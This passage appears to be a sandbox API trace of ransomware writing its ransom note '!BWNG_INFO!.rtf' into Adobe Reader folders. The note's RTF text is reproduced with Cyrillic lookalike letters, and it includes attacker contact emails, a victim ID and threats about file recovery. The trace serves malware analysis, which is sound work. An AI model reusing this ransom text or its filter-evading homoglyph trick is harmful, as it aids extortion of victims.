\\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n|Åüû\x80à{L¯VÒ\x8ei½î£ÕhÞ\x8c|>\x08\rW\x1f»é\x16â3\x19", lpUsedDefaultChar=0x0) returned 14086 [0040.593] WriteFile (in: hFile=0x1cc, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.594] CloseHandle (hObject=0x1cc) returned 1 [0040.594] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\!bwng_info!.rtf")) returned 0xffffffff [0040.594] GetLastError () returned 0x2 [0040.594] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n 